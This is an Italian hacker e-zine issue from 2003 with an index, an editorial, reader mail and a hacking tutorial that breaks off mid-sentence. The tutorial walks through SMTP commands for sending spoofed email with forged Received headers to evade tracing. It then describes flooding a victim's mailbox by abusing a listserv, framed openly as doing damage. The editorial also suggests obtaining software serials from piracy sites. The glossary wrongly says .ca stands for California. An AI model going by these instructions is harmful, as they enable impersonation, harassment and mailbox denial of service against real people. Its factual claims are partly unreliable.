Copy Link
Add to Bookmark
Report
Gick-Zine 02
+--------------------------------------------------------------------------------+
| ________ __ __ __________ |
| / _____/|__| ____ | | __ \___ /__| ____ ____ |
| / \ ___| |/ ___\| |/ / ______ / /| |/ \_/ __ \ |
| \ \_\ \ \ \___| < /_____/ / /_| | | \ ___/ |
| \______ /__|\___ >__|_ \ /_____ \__|___| /\___ > |
| \/ \/ \/ \/ \/ \/ |
| |
| -=[{02}]=- |
| |
| SitoWeb: www.gick.cjb.net |
| e-m@il: mail@gick.cjb.net |
| |
| 01 Giugno 2003 |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 -=[index]=- |
| INDICE -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| Introduzione |
| |
| [@1] Editoriale -=(Gick)=- |
| [@2] Mail Lettori |
| [@3] Humor ?!?!?! |
| |
| Hacking |
| |
| [01] Enciclopedia dell'Hacking Lord Shinva |
| [02] Hacker's Toolz SPP #Override# |
| |
| Programmazione |
| |
| [03] Lezioni di JavaScript n° 2 -=(Gick)=- |
| [04] mIRC Scripting TUTORIAL I SpyMaster |
| |
| Grafica |
| |
| [05] Introduzione all'Ascii-Art -=(Gick)=- |
| |
| Vari |
| |
| [06] Due Schede Video sul PC [Bartex] |
| [07] Il Registro di Windows Ankit Fadia |
| [08] FAQ sulla Sicurezza Security |
| [09] Come mettere un Server FTP anonimo con Linux Tormento |
| [10] Manifesto Mentor |
| |
| Conclusione |
| |
| [#1] Cenni Finali -=(Gick)=- |
| [#2] Dove Trovarci -=(Gick)=- |
| |
| Allegati |
| |
| [*1] EditorGZ.zip { Editor di Testo per scrivere gli articoli } |
| [*2] Font.zip { Font Lucida Console } |
| [*3] Exploit.zip { [01] Enciclopedia dell'Hacking } |
| [*4] JS_Lez_02.zip { [03] Lezioni di JavaScript n° 2 } |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| -=[DISCLAIMER]=- |
+--------------------------------------------------------------------------------+
| |
| Tutte le informazioni che troverete su questo txt sono da ritenersi a scopo |
| informativo, gli autori non si ritengono responsabili per l'uso che ne farete |
| o dei possibili danni che potreste causare a voi stessi o ad altri tramite |
| l'uso delle informazioni qui contenute. |
| |
| Anche se le cose qui esposte sono state testate, quindi non dovrebbero esserci |
| problemi gli autori non sono responsabili del mal funzionamento di programmi o |
| settaggi che, userete a vostro rischio e pericolo! |
| |
+--------------------------------------------------------------------------------+
___ _ _ _
|_ _|_ __ | |_ _ __ ___ __| |_ _ ___(_) ___ _ __ ___
| || '_ \| __| '__/ _ \ / _` | | | |_ / |/ _ \| '_ \ / _ \
| || | | | |_| | | (_) | (_| | |_| |/ /| | (_) | | | | __/
|___|_| |_|\__|_| \___/ \__,_|\__,_/___|_|\___/|_| |_|\___|
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [INTRODUZIONE] -=[@1]=- |
| Editoriale -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Sono felicissimo di dirvi che questo progetto sta continuando!!! |
| |
|Eccoci infatti col numero 2 di questa nuova e-Zine!!! |
| |
|Siete come sempre invitati a inviare i vostri articoli a: articoli@gick.cjb.net |
|e saremo molto lieti di pubblicarli! |
| |
|Come avrete notato in questa seconda "uscita" è stata aggiunta un'altra sezione,|
|Se vuoi proporre un'altra sezione e conosci gente disposta a scrivere articoli |
|per essa comunicacelo per e-mail a mail@gick.cjb.net! |
| |
|Volevo inoltre dire che è stato aperto in irc.azzurra.net il canale #gick dove |
|potremmo ritrovarci a chattare qualche sera in cui non sappiamo cosa fare manda-|
|le vostre preferenze di orari e le metterò come topic in modo che chiunque sap- |
|pia quando può trovarci... Presto sarà disponibile anche sul sito una sezione ap|
|posita per chattare con uno script in Java anche se non si è al momento in pos- |
|sesso di un client IRC cosa che non dovrebbe mai mancare!!! :-D |
| |
|Per gli utenti di Windows potete scaricare gratuitamente mIRC dal sito omonimo |
|www.mirc.com e registrarlo tramite qualche sito di SerialNumber anche se in caso|
|contrario è perfettamente utilizzabile! |
| |
|Anche per stavolta è tutto, alla prossima! |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [INTRODUZIONE] -=[@2]=- |
| Mail Lettori |
+--------------------------------------------------------------------------------+
| |
| Mail n° 01 - Marco |
| Ho provato a stampare il primo numero della Zine ma ho notato che non tutta la|
| Zine da |...a...| viene stampata sulla stessa riga! Potreste farla con un im- |
| paginazione più breve??? (Spero di essermi spiegato) |
| Continuate così... Marco! |
| Risposta |
| L'impaginazione della zine è molto curata e ci tengo che resti così... Per ri-|
| solvere il problema della stampa ti conviene usare il NotePad con le seguenti |
| caratteristiche (a me così viene fuori perfetamente e pronta da rilegare! :-D)|
| - Font: Lucida Console (Se non ce l'hai lo trovi come allegato!) |
| - Margine Sinistro: 25 |
| - Margine Destro: 5 |
| - Margine Superiore: 20 |
| - Margine Inferiore: 20 |
| - Intestazione - &f - |
| - Pié di Pagina - &p - |
| (&f = Nome File, &p = Numero Pagina trovi tutto spiegato nella guida in linea |
| nella sezione intestazione e pié di pagina cercalo e guardati i parametri!) |
| |
+--------------------------------------------------------------------------------+
| |
|Continuate a scriverci al solito indirizzo: mail@gick.cjb.net cercheremo di ris-|
|pondervi in quanto ci sia possibile :-P |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [INTRODUZIONE] -=[@3]=- |
| Humor ?!?!?! |
+--------------------------------------------------------------------------------+
| |
|Cliente: "Buongiorno vorrei esporle il mio problema, non riesco a connettermi" |
|Tecnico: "Vada sul nostro sito xxx nella sezione FAQ e troverà le risposte ai |
| problemi più frequenti!" |
|Cliente: "Ma le ho detto che non riesco a connettermi, come faccio ad andare sul|
| vostro sito web?" |
|Tecnico: "Senta metta giù il telefono, richiemi fra qualche minuto che magari le|
| risponderà qualcuno più competente di me!" |
| |
+--------------------------------------------------------------------------------+
_ _ _ _
| | | | __ _ ___| | _(_)_ __ __ _
| |_| |/ _` |/ __| |/ / | '_ \ / _` |
| _ | (_| | (__| <| | | | | (_| |
|_| |_|\__,_|\___|_|\_\_|_| |_|\__, |
|___/
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [HACKING] -=[01]=- |
| ENCICLOPEDIA DELL'HACKING Lord Shinva |
+--------------------------------------------------------------------------------+
| |
| [A] - Glossario e fondamenti |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - GLOSSARIO |
| |
| - IP Address |
| |
| Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che|
| identifica il vostro computer sulla rete. Un IP Address e` unico e corris-|
| ponde ad un Host Name |
| |
| - Host Name |
| |
| Nome in formato standard Internet di un sito. |
| Ad esempio sarà del tipo www.prova.com per un provider o un sito generico,|
| mentre nel caso di un collegamento via modem di un utente al suo provider |
| potrà somigliare a ppp14-ro.provider.it. |
| Le estensioni piu` usate sono: |
| .com sito commerciale ("com") generico |
| .org organizzazione ("org") senza fini di lucro |
| .mil sito militare ("mil") USA |
| .net rete (in inglese "net") sito generico |
| .it (Italia) |
| .uk (Inghilterra) |
| .ca (California), ecc... |
| |
| - Client |
| |
| Programma "cliente", usato da un utente per collegarsi ad un servizio. |
| Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al |
| servizio Web (HTTP), Eudora e` un client per collegarsi al servizio e-mail|
| (SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a (FTP=, e così |
| via. E' un programma che viene usato per comunicare con un server. |
| |
| - Server |
| |
| Programma che svolge un servizio e si occupa di rispondere ai client. |
| Ad esempio, i provider hanno un Web Server per offrirvi la possibilità di |
| collegarvi ad Internet tramite il Web. |
| |
| - Protocollo |
| |
| Insieme di regole per la gestione di un servizio Internet come web, email |
| |
| - Servizi: Nomi Tecnici |
| |
| I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP |
| (trasferimento file), e-mail, news, IRC, ecc. |
| Ecco alcuni nomi tecnici e relativo servizio: |
| HTTP è il nome del protocollo del web |
| SMTP e-mail, posta in uscita |
| POP3 e-mail, posta in arrivo |
| IMAP e-mail, e` un altro tipo di posta in arrivo, meno usato |
| |
| - DNS (Domain Name Server) |
| |
| E' la funzione svolta da un computer situato sulla rete che si occupa di |
| risalire a un IP Address da un Host Name e viceversa (se ad esempio volete|
| conoscere l'IP Address di www.prova.com utilizzando il DNS otterrete una |
| risposta del tipo 123.45.67.8, ma e` anche possibile fare il contrario). |
| L'operazione per la quale si risale dall'IP Address (numerico) all'Host |
| Name (nome) viene detta Reverse DNS. |
| Il DNS viene utilizzato automaticamente da tutti i programmi per Internet,|
| in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere |
| il relativo IP Address per riuscire a collegarsi ad un sito (Host). |
| E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - FONDAMENTI |
| |
|Prima di iniziare con l'hacking vero e proprio e` necessario iniziare con una |
|breve lezione sull'anonimità. |
| |
|Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate tracce |
|di voi ovunque. |
| |
|Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si collega|
|ad un server o si inviano dati vengono automaticamente trasmesse informazioni |
|come: da quale server (e quindi da quale città) si sta chiamando, il nome ed il |
|produttore del programma che si sta usando, quale sistema operativo e` instal- |
|lato sul vostro PC, il vostro IP address, qual'è l'ultimo sito visitato, se, |
|quando e quante volte ci si e` collegati ad un sito, e talvolta anche il proprio|
|indirizzo di e-mail. |
| |
|Mentre lasciare simili informazioni in giro può non costituire un pericolo per |
|un utente qualsiasi, per un hacker la cosa diventa alquanto pericolosa. |
|In pratica e` come se lasciaste un biglietto da visita (beh... quasi un curri- |
|culum!) ad ogni collegamento che effettuate. |
| |
|Molti siti utilizzano anche un comodo meccanismo di identificazione messo a dis-|
|posizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta ad iden|
|tificarvi anche a distanza di tempo, e può rivelare loro la frequenza con cui |
|visitate dei siti, IP address, ed altre informazioni che non vorreste dare. |
|Il file in questione è denominato "cookie". |
| |
|Se usate Netscape lo troverete nella directory del browser con l'innocuo nome di|
|"cookies.txt". Non e` altro che un semplice file di testo, come questo che state|
|leggendo. Basterà eliminarlo dopo ogni collegamento per eliminare le informa- |
|zioni che esso può rivelare. |
|Se utilizzate siti che richiedono accesso con password puo` darsi che il cookie |
|contenga delle informazioni necessarie al vostro collegamento: |
|in tal caso bastera` editare il file ed eliminare solo le righe che non conten- |
|gono il nome del sito in questione. |
| |
|I "cookies" possono essere disabilitati in alcuni browser (come Netscape). |
| |
|Lo stesso vale per altre tecnologie ancor piu` pericolose (per la privacy), come|
|Java e JavaScript. Rendono più allegre le pagine Web... e ancor piu` allegri |
|quelli che vogliono sapere chi, come e quando si collega a una pagina. |
| |
|Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce sul |
|Web era l'Anonimizzatore (http://www.anonymizer.com), ma mentre prima era gra- |
|tuito ora è diventato a pagamento. Lo si puo` ancora utilizzare, ma prima di |
|visualizzare la pagina Web desiderata, l'utente e` costretto ad attendere circa |
|mezzo minuto. Inoltre questo servizio è ora in grado di riconoscere un tentativo|
|di hacking e si rifiuta di eseguire il collegamento. |
| |
|Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia. |
| |
|In realtà, un hacker non usa quasi mai altro che un solo programma: Telnet. |
| |
|Se non siete ancora in possesso di un client (programma utente) Telnet vi consi-|
|glio di prelevarlo al piu` presto dalla rete ad esempio, cercando su: |
| |
| http://www.shareware.com |
| |
|Telnet non e` altro che un servizio di banca dati, con messaggi, programmi e co-|
|se del genere, proprio come nelle vecchie BBS. |
| |
|Ma perche` utilizzare proprio Telnet? |
| |
|In realtà, un client Telnet fa poco più che collegarsi a un server, inviargli |
|tutto quello che scrivete e mostrarvi tutto quello che riceve dal server. |
| |
|Può in effetti sostituire (limitatamente) un qualsiasi altro client. |
| |
|Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi ad|
|un sito Web, il programma non fa altro che svolgere una sessione Telnet. |
| |
|In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta |
|che il server glielo invii. |
| |
|Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica. |
| |
|Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi pro- |
|gramma client, parlando al server e leggendo le sue risposte. |
| |
|Ma per quale motivo dovremmo farlo? E' presto detto. |
| |
|Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail, è stato|
|progettato perché dall'altro capo della connessione ci sia un programma client |
|che segua certe regole (ad esempio Eudora per la posta). |
| |
|Ma cosa succede se invece di un programma c'è un hacker che "finge" di essere il|
|programma e invece di seguire le regole standard fa altre cose non previste? |
|Succede che si può sovvertire il servizio e fare le cose più disparate. |
| |
|Alcuni esempi: sovvertendo e-mail si può inviare posta elettronica "falsa" (det |
|ta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo il Web |
|si può crashare (da "crash": distruggere, in senso virtuale) un server, con FTP |
|si può ottenere un livello di anonimità elevatissimo ed e` possibile infiltrar- |
|si anche dove non si è desiderati, e così via; per praticamente ogni servizio |
|esistente vi sono delle tecniche applicabili. |
| |
|E infine, con quasi tutti i servizi (e in particolar modo con la SMTP) esistono |
|dei modi per ottenere il tanto agognato accesso "root", in pratica il livello |
|dell'amministratore di sistema (detto SysAdmin) che può fare *qualsiasi* cosa: |
|creare, aggiungere o eliminare account, file e directory, utenti con qualsiasi |
|livello d'accesso, leggere la posta e i file degli utenti, attivare e disattiva-|
|re servizi, modificare programmi... |
| |
+--------------------------------------------------------------------------------+
| |
| [B] - Telnet e SMTP |
| |
+--------------------------------------------------------------------------------+
| |
|Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno fa- |
|cendo sembrare che essa sia stata mandata da qualcun altro. |
| |
|Il metodo piu` semplice è utilizzare uno dei siti per hackers che offrono la pos|
|sibilità di inviare FakeMail basta cercare questa parola in un motore di ricerca|
|su Internet, ad esempio www.yahoo.com ha una sezione apposita per FakeMail e pos|
|ta anonima. |
| |
|Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica del-|
|le FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle news). |
| |
|Il motivo per cui la studieremo e` che provandone il funzionamento, ne approfit-|
|teremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio |
|della posta in uscita. |
|Questa è infatti la base per capire come funzionano molte delle tecniche più |
|utilizzate, e vi permetterà, quando sarete padroni della materia, di |
|implementarne di nuove. |
| |
|Iniziamo dunque imparando ad usare Telnet. |
| |
|Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi col- |
|legherete al servizio Telnet. Ma abbiamo detto che non e` questo il nostro obiet|
|tivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi? |
| |
|Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo collegarci, |
|anche un numero di "porta". Ma cos'e` una porta? |
|Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gesti-|
|sce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altret- |
|tanti server su altrettanti indirizzi diversi. |
| |
|Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica |
|nient'altro numeri a cui sono associati i vari servizi. |
| |
|Vogliamo collegarci a SMTP? Basta utilizzare la porta 25 Ci interessano le news?|
|La porta è 119 Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e |
|quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci |
|rispondera` sempre SMTP. |
| |
| [NOTA] se avete Winsock potete leggere il file "services", contenente i numeri |
| delle porte piu` usate. Il file si trovera` nella directory di Winsock. |
| |
|Ora che abbiamo chiarito il discorso delle porte supponiamo di volerci collegare|
|a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi in|
|cui un server non gestisca la posta) e, in base al programma usato, dovremmo ope|
|rare differentemente. |
| |
|La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del ser-|
|ver prova.it bisogna inserire prova.it:25 come nome del server. |
|Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta, ma |
|hanno uno spazio in cui inserire separatamente il numero o il nome del servizio.|
| |
|Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo: |
| |
| 220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200 |
| |
|e niente altro. Il server sta ora aspettando comandi da parte nostra. |
|La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO in |
|questo modo: |
| |
| HELO nomeprovider.it |
| |
|sostituendo nomeprovider.it con il nome del nostro provider. |
| |
| [NOTA] usando Telnet *NON* è possibile cancellare. Quindi digitate senza fretta|
| e se proprio sbagliate riavviate la connessione e ripetete tutto, oppure|
| - in alcuni casi - puo` essere sufficiente premere invio e riscrivere la|
| riga da zero. Non cancellate, anche se sembra funzionare. |
| I risultati possono essere imprevedibili e potreste rivelare la vostra |
| identità. |
| |
|Talvolta è possibile inserire un nome falso, ma i nuovi server conoscono già il |
|vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome. |
| |
|La risposta sarà: |
| |
| 250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you |
| |
|A questo punto dovremo dire al server qual'è il nostro indirizzo di e-mail. |
|Usiamo allo scopo il comando "MAIL FROM" e digitiamo: |
| |
| MAIL FROM: email@falsa.it |
| |
|...ovviamente l'indirizzo da inserire è quello falso :) |
|Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sarà un |
|messaggio d'errore, e dovremo ripetere l'immissione. |
| |
|A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere |
|vittima@lamer.it. Usiamo il comando "RCPT TO" e scriviamo: |
| |
| RCPT TO: vittima@lamer.it |
| |
|Il server rispondera` con un altro messaggio. |
| |
|Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle in-|
|testazioni e del corpo del messaggio. |
|Avvisiamo il server che siamo pronti, scrivendo: |
| |
| DATA |
| |
|e il server ci dirà di scrivere il messaggio e di concludere con un punto su una|
|riga vuota. |
| |
|Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers) che |
|si trovano prima del corpo del messaggio vero e proprio. Il loro scopo è elenca-|
|re tutti i computer attraverso i quali e` passato il messaggio, nonché il nostro|
|IP Address! Cio` potrebbe rivelare la nostra identità a un hacker o ad un Sys- |
|Admin esperto. Per evitarlo, digitiamo: |
| |
| Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58 |
| |
|dove nomeprovider.it è il nome del vostro provider (quello che avete usato con |
|HELO) e l'ultima parte (Sun, 12 Oct...) è la data in formato standard. |
| |
|ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente che |
|inizi con AA1 più altre 4 cifre, per farlo sembrare più reale). |
|Si tratta solo di un numero di serie del server, niente di importante. |
| |
|Ora dobbiamo digitare: |
| |
| Message-ID: AA11345 |
| |
|Ciò serve a far credere che il messaggio sia partito effettivamente dal server |
|"microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi, purche` *NON*|
|uguale a quello inserito prima con l'intestazione "Received:"). |
| |
|Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail: |
| |
| To: vittima@lamer.it |
| Date: Sun, 12 Oct 97 11:30:27 |
| Subject: questa e` una prova... |
| |
|Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto |
|vogliamo). Per concludere il messaggio lasciamo due righe vuote, digitiamo un |
|punto, premiamo invio, scriviamo QUIT e invio. |
| |
|La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche chiu|
|dere Telnet. |
| |
|E' importante inviare a se stessi dei messaggi di prova per vedere se il server |
|scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, |
|soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intesta-|
|zioni "Received:", oppure (sbagliato) alla fine. |
| |
|Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo |
|successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di|
|qualcuno? |
| |
|Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente do- |
|vremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un |
|"listserv" (come ad esempio listserv@brownvm.brown.edu). Un Listserv e` un pro- |
|gramma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo |
|via FTP. |
| |
|Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'è |
|un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei|
|20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima... |
| |
|Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, ar-|
|rivati a "Subject:" scriviamo quanto segue: |
| |
| REPLY vittima@lamer.it |
| CONNECT pluto.it anonymous indirizzo@falso.com |
| BINARY |
| GET mieifiles/enorme.gz |
| QUIT |
| |
|e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc... |
| |
|Ecco la spiegazione passo passo: |
| |
| REPLY indica l'indirizzo e-mail a cui rispondere |
| CONNECT specifica il nome del provider a cui collegarsi e l'account da usare |
| BINARY specifica un file di tipo binario (non va cambiato) |
| GET specifica il nome del file da prelevare (completo di eventuali directory) |
| QUIT termina la connessione |
| |
|Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sarà molto |
|più dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10 volte il comando|
|"GET ..." verranno mandati un totale di ben 200 megabyte al povero utente desti-|
|natario! |
|E poiché i server di e-mail spezzano i messaggi in tanti piccoli messaggi, la |
|vittima riceverebbe migliaia e migliaia di messaggi... |
| |
|E' un buon motivo per non dare in giro il proprio indirizzo di e-mail, no? |
| |
+--------------------------------------------------------------------------------+
| |
| [C] - Email & Identificazione |
| |
+--------------------------------------------------------------------------------+
| |
|Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora come|
|riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte) l'au|
|tore, e come utilizzare i remailer anonimi per un'anonimita` di livello elevatis|
|simo. |
| |
|Per poter studiare un messaggio dobbiamo necessariamente essere in grado di leg-|
|gerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con la paro-|
|la "Received:" e simili, che si trovano prima del corpo del messaggio vero e |
|proprio). |
| |
|Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha un'|
|opzione (in genere nel menu`) per attivare/disattivare la visualizzazione degli |
|stessi. |
|Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options", mentre|
|con "Internet Explorer" è necessario cliccare sul titolo dell'e-mail da analiz- |
|zare, quindi premere il tasto destro e scegliere l'ultima voce (Properties, ov- |
|vero Proprietà). Eudora ed altri client hanno una funzione simile a quella di |
|Netscape Mail (nei menù). |
| |
|Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers: |
| |
| Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3) |
| id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT) |
| Received: from america.com ([123.45.67.89]) by posta.hackers.it |
| (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187 |
| for ; Mon, 27 Sep 1997 14:34:21 +0200 |
| From: |
| To: |
| Subject: test... |
| |
|Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in quanto|
|ogni header inizia con una parola chiave seguita dai due punti, e nel secondo |
|rigo non esiste una prima parola, né i due punti; ne deduciamo perciò che è il |
|seguito della riga superiore. |
| |
|L'header "Received" ci informa del percorso seguito dall'e-mail da quando è stat|
|generato a quando l'abbiamo ricevuto. Normalmente ce n'è più di uno e sono dis- |
|posti in ordine inverso (il primo rappresenta l'ultimo computer a cui è arrivata|
|l'e-mail - con ogni probabilità il nostro o quello del nostro provider - e l'ul-|
|timo Received rappresenta il computer "mittente"). |
| |
|Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received" in |
|*cima* alle altre intestazioni già presenti. |
| |
|Tornando alla nostra e-mail, vediamo perciò che l'ultimo "Received" ci informa |
|che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato questa e- |
|mail al server posta.hackers.it usando SMTP. |
|Guardando l'header successivo (sopra) notiamo che poi il messaggio è stato manda|
|to a sua volta da posta.hackers.it (che vediamo avere un IP Address pari a |
|111.123.33.4) a provider.it, che è il server destinatario (il nostro). |
| |
|Infatti, se guardiamo l'header "To:" vediamo che destinatario finale è |
| |
| utente@provider.it. |
| |
|Il mittente, stando all'header "From:", dovrebbe essere mittente@america.com ma |
|come sincerarsene? |
| |
|Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste su|
|"america.com", ma utilizzando Finger non possiamo sapere se sia stato effettiva-|
|mente lui a mandare il messaggio o meno. |
| |
|Ricorriamo perciò ancora una volta all'analisi degli header "Received". |
|Il primo header, quello che ci informa da CHI è stato inviato il messaggio, cor-|
|risponde all'ultimo header (cioè al secondo "Received"). |
|Da lì scopriamo che il computer mittente è america.com con IP 123.45.67.89 e del|
|l'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com" e l'uni-|
|co modo per sapere se effettivamente Host Name e IP Address coincidono è utiliz-|
|zare un programma DNS. Basterà inserire l'IP Address per conoscere l'Host Name |
|ad esso corrispondente. |
| |
|Questo metodo è di estrema importanza, in quanto se da un lato non ci permette |
|di scoprire l'autore, almeno potremo sapere quale computer è stato usato per in-|
|viare e-mail, news, ecc. Molti provider di posta elettronica gratuita (come Hot-|
|mail e Netaddress) e non, permettono di bloccare l'invio di e-mail che provengo-|
|no da un determinato "dominio" (es. provider.it), ma per farlo e` necessario co-|
|noscerne l'Host Name oppure l'IP Address. |
| |
|Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi del|
|genere, si lascia dunque in modo indelebile il proprio IP Address nelle e-mail. |
|L'unico "lato buono" è che inviando alcune migliaia di e-mail a un indirizzo, |
|*probabilmente* il proprietario della mailbox non riuscirà a scaricarle tutte |
|(o non vorrà farlo) e non potrà percio` analizzarne le intestazioni per scoprire|
|il colpevole ;) |
| |
|In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc è pos- |
|sibile scaricare un singolo messaggio e analizzarlo, quindi è bene lasciare il |
|mail-bombing ai lamers che non hanno nient'altro da fare... |
| |
|Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non rin- |
|tracciabili" è perché la lista dei server SMTP inclusa in essi contiene per lo |
|più vecchi server che non registrano l'IP Address di chi si collega. |
|Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati di |
|e-mail in uscita, e sono stati perciò disattivati o hanno cambiato nome. |
| |
|In ogni caso, tutti i più nuovi server SMTP registrano (purtroppo) l'IP e in al-|
|cuni casi sono addirittura in grado di riconoscere un tentativo di FakeMail e |
|rispondere "sfottendo"... :-} |
| |
|Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una ano- |
|nima per rispondere a qualcuno senza essere rintracciati, o magari per parteci- |
|pare a un Newsgroup in maniera del tutto anonima. |
| |
|Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta completa|
|mente anonima (senza mittente e senza alcuna traccia di IP Address o altro). |
| |
| [NOTA] Per una lista completa con tutte le informazioni come: velocità, carat- |
| teristiche e affidabilità basta cercare le parole "anonymous remailer" |
| con un qualsiasi motore di ricerca sul Web. |
| |
|Usarli nella loro forma più semplice (senza criptazione e senza re-routing multi|
|pli) e` facile, basta inviare una normalissima e-mail (con qualsiasi programma |
|di posta elettronica) all'indirizzo e-mail di un remailer. |
| |
|Ad esempio, remailer@replay.com (oppure remailer@huge.cajones.com o ancora |
|remailer@cypherpunks.ca) e, PRIMA del messaggio inserire una riga vuota, una |
|coppia di due punti e altre informazioni, come segue: |
| |
| |
| :: |
| Request-Remailing-To: destinatario@email.com |
| |
| Questa e` una prova.... |
| |
|Dunque l'indirizzo del destinatario NON va inserito come destinatario. |
|Come destinatario useremo l'indirizzo del remailer, mentre quello del vero desti|
|natario andrà scritto a fianco a "Request-Remailing-To: ". |
| |
|Questo è quanto per le e-mail anonime. Come fare, invece, per inviare delle news|
|anonime? Seguendo lo stesso procedimento, ma usando come destinatario un "gate- |
|way" (passaggio) mail-news. A cosa serve? |
| |
|Inviando un messaggio al gateway, questo lo invierà a sua volta alle news. |
| |
|Volendo mandare un messaggio al Newsgroup alt.hackers basterà sostituire i punti|
|con dei trattini e aggiungere l'indirizzo del gateway (ad esempio cs.utexas.edu)|
|quindi il risultato sarà alt-hackers@cs.utexas.edu al quale manderemo il nostro |
|messaggio tramite remailer. |
| |
|Aggiungiamo ora alcune informazioni per completare il capitolo. |
| |
|Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno molto|
|veloce è (al momento in cui si scrive) MailMan al seguente indirizzo: |
| |
| http://www.nettex.com/~thecap/ |
| |
|Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul Web|
|Per chi preferisse le Form ai programmi di posta elettronica basterà cercare, |
